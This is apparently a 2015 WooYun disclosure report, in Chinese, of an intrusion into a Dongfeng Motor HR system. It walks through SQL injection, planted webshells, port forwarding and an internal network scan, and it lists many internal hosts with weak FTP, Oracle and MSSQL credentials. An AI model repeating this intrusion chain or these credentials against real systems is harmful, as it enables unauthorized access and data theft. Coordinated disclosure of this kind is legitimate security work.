东风汽车公司某系统漏洞导致内网漫游（控制大量服务器/数据库/ftp，大量敏感数据泄漏） | wooyun-2015-0129012

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0129012

漏洞标题：

东风汽车公司某系统漏洞导致内网漫游（控制大量服务器/数据库/ftp，大量敏感数据泄漏）

漏洞详情

披露状态：

2015-07-24：细节已通知厂商并且等待厂商处理中
2015-07-29：厂商已经确认，细节仅向厂商公开
2015-08-08：细节向核心白帽子及相关领域专家公开
2015-08-18：细节向普通白帽子公开
2015-08-28：细节向实习白帽子公开
2015-09-12：细节向公众公开

简要描述：

内网漫游

详细说明：

问题出在：http://hr.dfmc.com.cn/ (东风汽车人力资源管理)
由站点上的公告可以看出这是一个废弃的系统，而直觉告诉我，废弃系统更容易有漏洞，果不其然
http://hr.dfmc.com.cn/dengl.asp 登录处有注入（账号）

并且注入点为dba权限，os-shell成功，但是该服务器为内网ip，所以先写一个shell(路径可以读metabase.xml)
http://hr.dfmc.com.cn/in.asp aaa
但是asp的马权限太低，又上传一个aspx的，system权限
http://hr.dfmc.com.cn/config.aspx -7

添加用户后，直接lcx转发，连上主机

获取服务器ip

Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Dual Port Network Connection
   Physical Address. . . . . . . . . : 00-09-6B-F1-67-35
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : 172.16.2.23
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.2.3
   DNS Servers . . . . . . . . . . . : 172.19.1.11
                                       172.16.6.5

是172.16段内网，并且c段地址不同，直接上hscan扫描172.16/18整个B段

扫描到大量ftp，mssql，ipc弱口令，其中ftp弱口令接近100个，整理了部分

172.16.7.32 ftp ftp@ftp.net
172.16.7.113 admin 123
172.16.7.34  ftp ftp@ftp.net
172.16.7.33 ftp ftp@ftp.net
172.16.2.45 test test
172.16.2.12 ftp ftp@ftp.net
172.16.32.113 ftp ftp@ftp.net
172.16.32.102 test test
172.16.32.83 ftp ftp@ftp.net
172.16.32.79 ftp ftp@ftp.net
172.16.32.77 test test
172.116.32.22 oracle oracle
172.16.42.53 oracle oracle
172.16.42.15 oracle oracle
172.16.42.13  oracle oracle
172.16.37.25 test 1
172.16.37.19 oracle oracle
172.16.37.13 oracle oracle
172.16.37.21 oracle oracle
172.16.37.21 oracle  null
172.16.37.19   root root

还有很多。。。
ftp：172.16.7.32

ftp：172.16.7.113

。。。。。。。。。。。。。。。。。。。。。。。。
大量的ftp服务可用于大规模的内网挂马。
另外还扫描到了10多台mssql数据库弱口令，全是sa的

172.16.32.250  sa sa 
172.16.42.113 sa sa     ok
172.16.42.2 sa sa       ok
172.16.39.6 sa 123      ok
172.16.39.4 sa 123      ok
172.16.39.1 sa 123
172.16.89.58 sa 123456
172.16.115.30 sa  sa  ok
172.16.162.12 sa admin
172.16.162.54 sa sa
172.16.163.173 sa sa

这种相当于直接拿下服务器,以下仅仅为了证明
服务器：172.16.42.113